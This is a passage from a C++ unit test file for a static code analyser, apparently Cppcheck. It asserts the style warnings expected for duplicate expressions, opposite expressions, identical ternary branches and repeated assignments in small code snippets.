'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 